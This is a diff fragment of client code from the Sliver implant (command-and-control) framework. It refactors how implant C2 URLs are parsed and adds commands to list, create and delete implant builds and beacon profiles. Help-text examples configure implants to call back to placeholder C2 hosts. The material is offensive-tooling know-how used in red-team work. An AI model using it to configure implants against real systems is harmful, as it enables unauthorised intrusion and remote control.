||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
uri := url.URL{Scheme: "mtls"}
|
||||
uri.Host = arg
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultMTLSLPort)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
}
|
||||
|
||||
// ParseWGc2 - Parse wg connect string arg
|
||||
func ParseWGc2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
return c2s, nil
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
uri := url.URL{Scheme: "wg"}
|
||||
uri.Host = arg
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "mtls://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultWGLPort)
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
// ParseWGc2 - Parse wg connect string arg
|
||||
func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s, nil
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "mtls://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
// ParseHTTPc2 - Parse HTTP connection string arg
|
||||
func ParseHTTPc2(args string) []*clientpb.ImplantC2 {
|
||||
func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
return c2s, nil
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
@@ -403,14 +450,12 @@ func ParseHTTPc2(args string) []*clientpb.ImplantC2 {
|
||||
if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
log.Printf("Failed to parse C2 URL %s", err)
|
||||
continue
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("https://%s", arg))
|
||||
if err != nil {
|
||||
log.Printf("Failed to parse C2 URL %s", err)
|
||||
continue
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
@@ -418,76 +463,94 @@ func ParseHTTPc2(args string) []*clientpb.ImplantC2 {
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
// ParseDNSc2 - Parse DNS connection string arg
|
||||
func ParseDNSc2(args string) []*clientpb.ImplantC2 {
|
||||
func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
return c2s, nil
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
uri := url.URL{Scheme: "dns"}
|
||||
if len(arg) < 1 {
|
||||
continue
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "dns://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("dns://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
// Make sure we have the FQDN
|
||||
if !strings.HasSuffix(arg, ".") {
|
||||
arg += "."
|
||||
}
|
||||
arg = strings.TrimPrefix(arg, ".")
|
||||
|
||||
uri.Host = arg
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
// ParseNamedPipec2 - Parse named pipe connection string arg
|
||||
func ParseNamedPipec2(args string) []*clientpb.ImplantC2 {
|
||||
func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
return c2s, nil
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
uri, err := url.Parse("namedpipe://" + arg)
|
||||
if len(arg) < 1 {
|
||||
continue
|
||||
}
|
||||
if err != nil {
|
||||
return c2s
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "named-pipe://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("named-pipe://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
// ParseTCPPivotc2 - Parse tcp pivot connection string arg
|
||||
func ParseTCPPivotc2(args string) []*clientpb.ImplantC2 {
|
||||
func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
return c2s, nil
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
|
||||
uri := url.URL{Scheme: "tcppivot"}
|
||||
uri.Host = arg
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultTCPPivotPort)
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "tcp-pivot://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("tcp-pivot://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
|
||||
@@ -2,7 +2,9 @@ package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
@@ -10,8 +12,24 @@ import (
|
||||
|
||||
// ImplantsRmCmd - Deletes an archived implant build from the server
|
||||
func ImplantsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("No name specified\n")
|
||||
return
|
||||
}
|
||||
build := ImplantBuildByName(name, con)
|
||||
if build == nil {
|
||||
con.PrintErrorf("No implant build found with name '%s'\n", name)
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' build?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
|
||||
Name: ctx.Args.String("implant-name"),
|
||||
Name: name,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to delete implant %s\n", err)
|
||||
|
||||
@@ -19,19 +19,29 @@ package generate
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// ImplantBuildFilter - Filter implant builds
|
||||
type ImplantBuildFilter struct {
|
||||
GOOS string
|
||||
GOARCH string
|
||||
Beacon bool
|
||||
Session bool
|
||||
Format string
|
||||
Debug bool
|
||||
}
|
||||
|
||||
// ImplantsCmd - Displays archived implant builds
|
||||
func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
@@ -39,51 +49,118 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
implantBuildfilters := ImplantBuildFilter{}
|
||||
|
||||
if 0 < len(builds.Configs) {
|
||||
displayAllImplantBuilds(con.App.Stdout(), builds.Configs)
|
||||
PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
|
||||
} else {
|
||||
con.PrintInfof("No implant builds\n")
|
||||
}
|
||||
}
|
||||
|
||||
func displayAllImplantBuilds(stdout io.Writer, configs map[string]*clientpb.ImplantConfig) {
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
fmt.Fprintf(table, "Name\tOS/Arch\tDebug\tFormat\tCommand & Control\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("OS/Arch")),
|
||||
strings.Repeat("=", len("Debug")),
|
||||
strings.Repeat("=", len("Format")),
|
||||
strings.Repeat("=", len("Command & Control")),
|
||||
)
|
||||
// PrintImplantBuilds - Print the implant builds on the server
|
||||
func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Implant Type",
|
||||
"OS/Arch",
|
||||
"Format",
|
||||
"Command & Control",
|
||||
"Debug",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for sliverName, config := range configs {
|
||||
if 0 < len(config.C2) {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
sliverName,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
config.Format,
|
||||
fmt.Sprintf("[1] %s", config.C2[0].URL),
|
||||
)
|
||||
if filters.GOOS != "" && config.GOOS != filters.GOOS {
|
||||
continue
|
||||
}
|
||||
if 1 < len(config.C2) {
|
||||
for index, c2 := range config.C2[1:] {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
fmt.Sprintf("[%d] %s", index+2, c2.URL),
|
||||
)
|
||||
}
|
||||
if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
|
||||
continue
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", "", "", "", "", "")
|
||||
if filters.Beacon && !config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Session && config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Debug && config.Debug {
|
||||
continue
|
||||
}
|
||||
if filters.Format != "" && (!strings.EqualFold(config.Format.String(), filters.Format) ||
|
||||
!strings.HasPrefix(strings.ToLower(config.Format.String()), strings.ToLower(filters.Format))) {
|
||||
continue
|
||||
}
|
||||
|
||||
implantType := "session"
|
||||
if config.IsBeacon {
|
||||
implantType = "beacon"
|
||||
}
|
||||
c2URLs := []string{}
|
||||
for index, c2 := range config.C2 {
|
||||
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
sliverName,
|
||||
implantType,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
config.Format,
|
||||
strings.Join(c2URLs, "\n"),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
})
|
||||
}
|
||||
table.Flush()
|
||||
fmt.Fprintf(stdout, "%s", outputBuf.String())
|
||||
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
// ImplantBuildNameCompleter - Completer for implant build names
|
||||
func ImplantBuildNameCompleter(prefix string, args []string, filters ImplantBuildFilter, con *console.SliverConsoleClient) []string {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return []string{}
|
||||
}
|
||||
results := []string{}
|
||||
for name, config := range builds.Configs {
|
||||
if filters.GOOS != "" && config.GOOS != filters.GOOS {
|
||||
continue
|
||||
}
|
||||
if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
|
||||
continue
|
||||
}
|
||||
if filters.Beacon && !config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Session && config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Debug && config.Debug {
|
||||
continue
|
||||
}
|
||||
if filters.Format != "" && !strings.EqualFold(config.Format.String(), filters.Format) {
|
||||
continue
|
||||
}
|
||||
|
||||
if strings.HasPrefix(name, prefix) {
|
||||
results = append(results, name)
|
||||
}
|
||||
}
|
||||
sort.StringSlice(results).Sort()
|
||||
return results
|
||||
}
|
||||
|
||||
// ImplantBuildByName - Get an implant build by name
|
||||
func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
for _, build := range builds.Configs {
|
||||
if build.Name == name {
|
||||
return build
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -30,9 +30,9 @@ import (
|
||||
|
||||
// ProfilesGenerateCmd - Generate an implant binary based on a profile
|
||||
func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Flags.String("name")
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("no profile selected")
|
||||
con.PrintErrorf("No profile name specified\n")
|
||||
return
|
||||
}
|
||||
save := ctx.Flags.String("save")
|
||||
|
||||
@@ -1,5 +1,22 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
import (
|
||||
"context"
|
||||
|
||||
@@ -10,11 +27,7 @@ import (
|
||||
|
||||
// ProfilesNewCmd - Create a new implant profile
|
||||
func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Flags.String("profile-name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("Invalid profile name\n")
|
||||
return
|
||||
}
|
||||
name := ctx.Args.String("name")
|
||||
config := parseCompileFlags(ctx, con)
|
||||
if config == nil {
|
||||
return
|
||||
@@ -27,6 +40,35 @@ func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Saved new profile %s\n", resp.Name)
|
||||
con.PrintInfof("Saved new implant profile %s\n", resp.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// ProfilesNewBeaconCmd - Create a new beacon profile
|
||||
func ProfilesNewBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("No profile name specified\n")
|
||||
return
|
||||
}
|
||||
config := parseCompileFlags(ctx, con)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
config.IsBeacon = true
|
||||
err := parseBeaconFlags(ctx, con, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
profile := &clientpb.ImplantProfile{
|
||||
Name: name,
|
||||
Config: config,
|
||||
}
|
||||
resp, err := con.Rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Saved new implant profile (beacon) %s\n", resp.Name)
|
||||
}
|
||||
}
|
||||
@@ -1,8 +1,28 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
@@ -10,8 +30,24 @@ import (
|
||||
|
||||
// ProfilesRmCmd - Delete an implant profile
|
||||
func ProfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("No profile name specified\n")
|
||||
return
|
||||
}
|
||||
profile := GetImplantProfileByName(name, con)
|
||||
if profile == nil {
|
||||
con.PrintErrorf("No profile found with name '%s'\n", name)
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' profile?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
|
||||
Name: ctx.Args.String("profile-name"),
|
||||
Name: name,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to delete profile %s\n", err)
|
||||
|
||||
@@ -21,15 +21,15 @@ package generate
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// ProfilesCmd - Display implant profiles
|
||||
@@ -39,72 +39,75 @@ func ProfilesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
if len(profiles) == 0 {
|
||||
con.PrintInfof("No profiles, create one with `%s`\n", consts.NewStr)
|
||||
con.PrintInfof("No profiles, see `%s %s help`\n", consts.ProfilesStr, consts.NewStr)
|
||||
return
|
||||
} else {
|
||||
PrintProfiles(profiles, con)
|
||||
}
|
||||
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
|
||||
fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("Platform")),
|
||||
strings.Repeat("=", len("Command & Control")),
|
||||
strings.Repeat("=", len("Debug")),
|
||||
strings.Repeat("=", len("Format")),
|
||||
strings.Repeat("=", len("Obfuscation")),
|
||||
strings.Repeat("=", len("Limitations")),
|
||||
)
|
||||
}
|
||||
|
||||
// PrintProfiles - Print the profiles
|
||||
func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Profile Name",
|
||||
"Implant Type",
|
||||
"Platform",
|
||||
"Command & Control",
|
||||
"Debug",
|
||||
"Format",
|
||||
"Obfuscation",
|
||||
"Limitations",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Profile Name", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for _, profile := range profiles {
|
||||
config := profile.Config
|
||||
if 0 < len(config.C2) {
|
||||
obfuscation := "strings only"
|
||||
if config.ObfuscateSymbols {
|
||||
obfuscation = "symbols obfuscation"
|
||||
}
|
||||
if config.Debug {
|
||||
obfuscation = "none"
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
profile.Name,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
fmt.Sprintf("[1] %s", config.C2[0].URL),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
fmt.Sprintf("%v", config.Format),
|
||||
obfuscation,
|
||||
getLimitsString(config),
|
||||
)
|
||||
|
||||
obfuscation := "disabled"
|
||||
if config.ObfuscateSymbols {
|
||||
obfuscation = "enabled"
|
||||
}
|
||||
if 1 < len(config.C2) {
|
||||
for index, c2 := range config.C2[1:] {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
"",
|
||||
"",
|
||||
fmt.Sprintf("[%d] %s", index+2, c2.URL),
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
)
|
||||
}
|
||||
implantType := "session"
|
||||
if config.IsBeacon {
|
||||
implantType = "beacon"
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "")
|
||||
c2URLs := []string{}
|
||||
for index, c2 := range config.C2 {
|
||||
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
profile.Name,
|
||||
implantType,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
strings.Join(c2URLs, "\n"),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
fmt.Sprintf("%v", config.Format),
|
||||
obfuscation,
|
||||
getLimitsString(config),
|
||||
})
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func getImplantProfiles(con *console.SliverConsoleClient) []*clientpb.ImplantProfile {
|
||||
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error %s", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
return pbProfiles.Profiles
|
||||
}
|
||||
|
||||
// GetImplantProfileByName - Get an implant profile by a specific name
|
||||
func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantProfile {
|
||||
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error %s", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
for _, profile := range pbProfiles.Profiles {
|
||||
@@ -114,3 +117,18 @@ func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *cli
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ProfileNameCompleter - Completer for implant build names
|
||||
func ProfileNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return []string{}
|
||||
}
|
||||
results := []string{}
|
||||
for _, profile := range pbProfiles.Profiles {
|
||||
if strings.HasPrefix(profile.Name, prefix) {
|
||||
results = append(results, profile.Name)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -57,7 +57,7 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
continue
|
||||
}
|
||||
} else {
|
||||
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
|
||||
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.AliasHelpGroup || key == consts.ExtensionHelpGroup {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
@@ -71,7 +71,7 @@ var (
|
||||
consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.LoadMacroStr: loadMacrosHelp,
|
||||
consts.AliasesStr: loadMacrosHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
@@ -84,7 +84,7 @@ var (
|
||||
consts.RegistryWriteStr: regWriteHelp,
|
||||
consts.RegistryReadStr: regReadHelp,
|
||||
consts.RegistryCreateKeyStr: regCreateKeyHelp,
|
||||
consts.PivotsListStr: pivotListHelp,
|
||||
consts.PivotsStr: pivotsHelp,
|
||||
consts.WgPortFwdStr: wgPortFwdHelp,
|
||||
consts.WgSocksStr: wgSocksHelp,
|
||||
consts.SSHStr: sshHelp,
|
||||
@@ -211,12 +211,12 @@ profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4
|
||||
|
||||
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
|
||||
Profiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same
|
||||
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
|
||||
profiles new --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
|
||||
generate-profile mtls-profile
|
||||
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with "profiles generate":
|
||||
profiles new --mtls foo.example.com --canary 1.foobar.com my-profile-name
|
||||
profiles generate my-profile-name
|
||||
`
|
||||
|
||||
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate-profile [name] <options>
|
||||
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate [name] <options>
|
||||
[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
|
||||
|
||||
msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
|
||||
@@ -482,21 +482,19 @@ When using the binary type, you must either:
|
||||
[[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
|
||||
`
|
||||
|
||||
pivotListHelp = `[[.Bold]]Command:[[.Normal]] pivots-list [--id SESSIONID]
|
||||
[[.Bold]]About:[[.Normal]] List created pivots
|
||||
pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
|
||||
